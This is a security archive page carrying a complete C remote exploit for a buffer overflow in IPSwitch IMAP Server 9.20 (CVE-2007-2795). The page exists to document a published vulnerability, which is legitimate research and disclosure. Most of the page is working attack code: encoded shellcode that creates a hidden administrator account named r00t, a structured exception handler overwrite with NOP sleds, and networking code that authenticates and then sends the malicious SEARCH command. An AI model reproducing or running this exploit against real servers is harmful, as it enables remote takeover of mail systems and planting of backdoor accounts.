exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IPSwitch IMAP Server 9.20 Overflow

IPSwitch IMAP Server 9.20 Overflow
Posted Sep 15, 2009
Authored by Dominic Chell

IPSwitch IMAP Server version 9.20 and below remote buffer overflow exploit.

tags | exploit, remote, overflow, imap
advisories | CVE-2007-2795
SHA-256 | c6aa0faefb20ce7196a8c749c9dc1b089bd8b0fac46149e8070c03dbb5c15cae

IPSwitch IMAP Server 9.20 Overflow

Change Mirror Download
/* Ipsbitch.cpp vs Ipswitch IMAP 
* Tested on: Windows 2000 SP4
* Ref: CVE-2007-2795
*
* Author: Dominic Chell <dmc@deadbeef.co.uk>
* Found this half written on a VM so decided to finish it.
*
* Payload adds a local admin account USER=r00t PASS=r00tr00t!!
*
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

#define usage(){ (void)fprintf(stderr, "Ipsbitch vs Ipswitch IMAP <=v9.20\n(C) dmc <dmc@deadbeef.co.uk>\n\nExample: ipsbitch.exe [ip] [port] [user] [password]\n");}
#define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}

// USER=r00t PASS=r00tr00t!!
// Bad Chars = '\x00\x0a\x0d\x0b\x09\x0c\x20'
// Encoded with shikata ga nai
char shellcode[] =
"\xda\xd4\x29\xc9\xb8\xb3\xfe\x8b\x54\xd9\x74\x24\xf4\xb1\x32"
"\x5f\x83\xef\xfc\x31\x47\x14\x03\x47\xa7\x1c\x7e\xa8\x2f\xa4"
"\x81\x51\xaf\xae\xc7\x6d\x24\xcc\xc2\xf5\x3b\xc2\x46\x4a\x23"
"\x97\x06\x75\x52\x4c\xf1\xfe\x60\x19\x03\xef\xb9\xdd\x9d\x43"
"\x3d\x1d\xe9\x9c\xfc\x54\x1f\xa2\x3c\x83\xd4\x9f\x94\x70\x11"
"\x95\xf1\xf2\x46\x71\xf8\xef\x1f\xf2\xf6\xa4\x54\x5b\x1a\x3a"
"\x80\xef\x3e\xb7\x57\x1b\xb7\x9b\x73\xdf\x04\x7c\x4d\x29\xea"
"\xd5\xc9\x5e\xac\xe9\x9a\x21\x3c\x81\xed\xbd\x91\x1e\x65\xb6"
"\x60\xd8\xf5\x06\x18\x49\x92\x76\x56\x6d\x3d\x1f\xfe\x90\x4b"
"\xd1\xa9\x93\xab\x8d\x38\x08\x1a\x37\xba\xb5\x42\x98\x59\x16"
"\xed\x83\xe9\x76\x84\x38\x74\x05\x46\xcd\x46\xd9\xf2\x11\xd4"
"\x29\xcb\x25\x6a\x7a\x1b\xb2\xab\x5b\x7b\x15\xea\xdf\x3f\x49"
"\xca\xf9\x9f\xe7\x77\x72\xc0\x9b\x18\x19\x61\x08\x81\xaf\x0e"
"\xa5\x3d\x70\x90\x21\xd0\x19\x7c\xc3\x59\xae\xf2\x72\xe9\x21"
"\x81\x07\x31\xcc\x55\xd8\x45\x10\xb9\x59\xe1\x14\xc5\x53";

char *seh = "\xC4\x2A\x02\x75";
//ws2help.dll - 0x75022AC4 - pop/pop/ret
char *nextseh = "\xeb\x10\x90\x90";
// short jmp nop nop

int main(int argc, char *argv[])
{
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;

char user[20], pass[20];
char payload[2048];
char recvbuf[1024];
if(argc < 4)
{
usage();
return 0;
}

if((strlen(argv[3])<15) && (strlen(argv[4])<15))
{
strncpy(user, argv[3], 14);
strncpy(pass, argv[4], 14);
user[14] = '\0';
pass[14] = '\0';
}
else {
usage();
return 0;
}

int ipaddr=htonl(inet_addr(argv[1])), port=atoi(argv[2]);;

fprintf(stderr, "Ipsbitch vs Ipswitch IMAP <=v9.20\n(C) dmc <dmc@deadbeef.co.uk>\n\n");

char auth[50];
memset(auth, 0, sizeof(auth));
memset(recvbuf, 0, sizeof(recvbuf));
strcat(auth, "0 LOGIN ");
strcat(auth, user);
strcat(auth, " ");
strcat(auth, pass);
strcat(auth, "\r\n");
strcat(auth, "\0");

memset(payload, 0, sizeof(payload));
strcat(payload, "2 SEARCH BEFORE ");
for(int i=0; i<80; i++) strcat(payload, "\x90");
strcat(payload, nextseh);
strcat(payload, seh);
for(int i=0; i<100; i++) strcat(payload, "\x90");
strcat(payload, shellcode);
for(int i=0; i<300; i++) strcat(payload, "\x90");
strcat(payload, "\r\n");

WSADATA info;
if (WSAStartup(MAKEWORD(2,0), &info)) error("Unable to start WSA");

s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET) error("[*] socket error");
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ipaddr);
server.sin_port=htons(port);

WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);

select(s+1,NULL,&mask,NULL,&timeout);
if(FD_ISSET(s,&mask))
{
fprintf(stderr, "[*] Connecting to IMAP server\n");
Sleep(1000);recv(s,recvbuf,200,0);
fprintf(stderr, "[*] Got banner:\n%s\n", recvbuf);
memset(recvbuf, 0, sizeof(recvbuf));
fprintf(stderr, "[*] Authenticating...\n");
if (send(s,auth,strlen(auth),0)==SOCKET_ERROR) error("[*] error sending auth payload");
memset(auth, 0, sizeof(auth));
Sleep(1000);recv(s,recvbuf,200,0);
fprintf(stderr, "[*] Received:\n%s\n", recvbuf);
memset(recvbuf, 0, sizeof(recvbuf));
fprintf(stderr, "[*] Sending SELECT command...\n");
if (send(s,"1 SELECT INBOX\r\n",strlen("1 SELECT INBOX\r\n"),0)==SOCKET_ERROR) error("[*] error sending auth payload");
Sleep(1000);recv(s,recvbuf,200,0);
fprintf(stderr, "[*] Received:\n%s\n", recvbuf);
memset(recvbuf, 0, sizeof(recvbuf));
Sleep(1000);recv(s,recvbuf,200,0);
fprintf(stderr, "[*] Received:\n%s\n", recvbuf);
fprintf(stderr, "[*] Sending exploit payload...\n");
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) error("[*] error sending exploit payload");
memset(payload, 0, sizeof(payload));
fprintf(stderr, "[*] Now try USER=r00t PASS=r00tr00t!!\n");
return 0;
}
}





Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close